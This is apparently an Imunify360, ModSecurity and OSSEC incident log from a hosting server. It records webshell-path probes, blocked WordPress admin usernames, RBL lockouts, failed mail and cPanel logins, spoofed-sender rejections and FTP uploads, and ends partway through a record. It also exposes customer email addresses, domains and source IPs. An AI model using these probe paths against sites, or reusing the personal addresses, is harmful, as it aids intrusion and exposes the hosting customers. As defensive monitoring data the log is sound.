# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.110.202.89
country_id: 953987
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=612903 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.12.227.228
country_id: 3469034
domain: acburn.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/acburn.com.my/img/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/home/testimonial.php||SC:/home/indfinitydesign/public_html/images/home||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/demos/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.83.94.16
country_id: 1643084
description:
Jan 27 10:40:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.83.94.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.152.88
country_id: 99237
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/6790027004.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.59.254
country_id: 1562822
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/6790027004.jpg&size=1000x1000 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.94.79.198
country_id: 3996063
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/6790027004.jpg?scale.height=400 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.57.73.177
country_id: 294640
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/productdetails.php?id=2720 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 10:43:32 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.77.182.227
country_id: 3617476
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/images/qr/qr-code-fb.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.208.45.133
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/images/qr/qr-code-wc.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.201.83.241
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/images/qr/qr-code-web.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.241.160.227
country_id: 3469034
description:
Jan 27 10:48:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.241.160.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 10:49:05 H=([104.37.174.67]) [104.37.174.67]:56562 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <inquiries@ktlog.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 27 10:50:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 27 10:51:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-27 10:51:18 +0800] info [webmaild] 175.136.123.47 - roz@af-sb.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 10:52:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:52:58 sv3 pure-ftpd[2124425]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.199.98.26
country_id: 1269750
description:
2026-01-27 10:53:38 dovecot_plain authenticator failed for H=(ch29dhq117mu5ixrt5c6) [117.199.98.26]:37128: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:53:01 sv3 pure-ftpd[2124425]: (eminent@113.211.212.49) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.27
country_id: 6252001
description:
Jan 27 10:53:16 sv3 pure-ftpd[2125129]: (?@147.185.132.27) [INFO] New connection from 147.185.132.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.199.98.26
country_id: 1269750
description:
Jan 27 10:53:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.199.98.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 10:53:38 H=([104.37.174.67]) [104.37.174.67]:57868 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <marylinkoh@ktlog.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:53:09 sv3 pure-ftpd[2124811]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:53:11 sv3 pure-ftpd[2124811]: (eminent@113.211.212.49) [NOTICE] /home/eminent//public_html/folder/RHB1049_CC_Mass_Acq_2026_EDM/index_edm.html uploaded  (40257 bytes, 1683.80KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.26.199.157
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/sebastian/comparator/phpunit.xml.dist HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: cofreth.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:cofrethcom||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: cofreth.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:cofrethcom||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 194.110.247.102
country_id: 617790
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X17; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.2.0 Safari/537.36||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: cofreth.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:cofrethcom||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: pspoly.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:pspolycom||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 11:00:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57344: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 11:02:23 H=([104.37.174.67]) [104.37.174.67]:60204 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <sales@chs.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.134
country_id: 798544
description:
Jan 27 11:02:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.134
country_id: 798544
description:
Jan 27 11:03:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.170
country_id: 3469034
description:
Jan 27 11:03:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.28.49
country_id: 3469034
description:
Jan 27 11:05:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.28.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.168
country_id: 3469034
description:
Jan 27 11:05:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.168 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.200
country_id: 6252001
description:
Jan 27 11:06:50 sv3 pure-ftpd[2150330]: (?@198.235.24.200) [INFO] New connection from 198.235.24.200


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/img/photos/images/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.64
country_id: 3469034
description:
Jan 27 11:09:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.185
country_id: 3469034
description:
Jan 27 11:10:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.188.254.128
country_id: 3895114
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.225.192.81
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/event-single.php?id=875939 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.178.154
country_id: 1269750
description:
Jan 27 11:16:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.178.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.154
country_id: 1269750
description:
2026-01-27 11:16:16 dovecot_login authenticator failed for H=([128.185.223.87]) [182.95.178.154]:43182: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.238
country_id: 953987
description:
Jan 27 11:16:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.238
country_id: 953987
description:
Jan 27 11:17:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.222
country_id: 1269750
description:
Jan 27 11:17:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.222
country_id: 1269750
description:
2026-01-27 11:17:17 dovecot_login authenticator failed for H=([122.187.230.222]) [122.187.230.222]:42990: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 11:21:13 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 11:23:46 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.62.37
country_id: 1814991
description:
Jan 27 11:25:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.62.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.37
country_id: 1814991
description:
2026-01-27 11:25:25 dovecot_login authenticator failed for H=([111.26.62.36]) [111.26.62.37]:60336: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:26:47 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET /cpsess0474370474/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.45.55.175
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-26.104.45.55.175||RSV:7.67||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kaveen@aircarbonic.my [01/27/2026:03:27:05 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kaveen@aircarbonic.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.132.205
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=38 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.40.89.230
country_id: 3437598
description:
2026-01-27 11:28:53 dovecot_login authenticator failed for H=(localhost) [181.40.89.230]:50376: 535 Incorrect authentication data (set_id=inf@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 11:28:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57375: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 66.132.153.117
country_id: 6252001
description:
2026-01-27 11:29:54 809702 [Warning] Aborted connection 809702 to db: 'unconnected' user: 'unauthenticated' host: '66.132.153.117' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:30:04 H=([10.1.1.176]) [60.54.167.90]:49180 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.80.228.231
country_id: 6252001
description:
Jan 27 11:30:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.80.228.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.80.228.231
country_id: 6252001
description:
2026-01-27 11:30:28 dovecot_login authenticator failed for H=([129.80.228.231]) [129.80.228.231]:34464: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.127.253.194
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psr/http-message/CHANGELOG.md HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:34:06 H=([10.1.1.176]) [60.54.167.90]:49274 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.177.124.129
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/EmailValidator/EmailLexer.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.10.85
country_id: 1269750
description:
Jan 27 11:35:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.10.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 11:36:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.237.86.217
country_id: 1562822
description:
2026-01-27 11:37:55 H=([103.237.86.217]) [103.237.86.217]:64867 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<robin@pushkang.cn> rejected RCPT <natasya@ktlog.com.my>: SPF: 103.237.86.217 is not allowed to send mail from pushkang.cn


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:38:09 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 11:38:38 sv3 pure-ftpd[2204304]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 11:38:40 sv3 pure-ftpd[2204304]: (eminent@113.211.212.49) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 11:38:54 sv3 pure-ftpd[2204556]: (eminent@113.211.212.49) [NOTICE] /home/eminent//public_html/folder/RHB1049_CC_Mass_Acq_2026_EDM/index_edm.html uploaded  (40256 bytes, 826.43KB/sec)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:40:14 H=([10.1.1.176]) [60.54.167.90]:49306 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.214.246
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=219327 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:41:12 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:41:22 H=([10.1.1.176]) [60.54.167.90]:49317 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.224.64
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/EventListener/DumpListener.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:45:03 H=([10.1.1.176]) [60.54.167.90]:49327 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:46:44 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.70.23
country_id: 1861060
domain: www.modern.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.my/wp-content/uploads/myLIFE-2nd-Draw.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.70.23
country_id: 1861060
domain: www.modern.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.myhttp/www.modern.com.my/wp-content/uploads/myLIFE-2nd-Draw.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 11:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57410: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.241.45.231
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-56.171.241.45.231||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:00:32 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9098: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.70
country_id: 953987
description:
Jan 27 12:01:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.70
country_id: 953987
description:
Jan 27 12:02:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:02:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14063: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:03:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9100: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:04:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9101: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
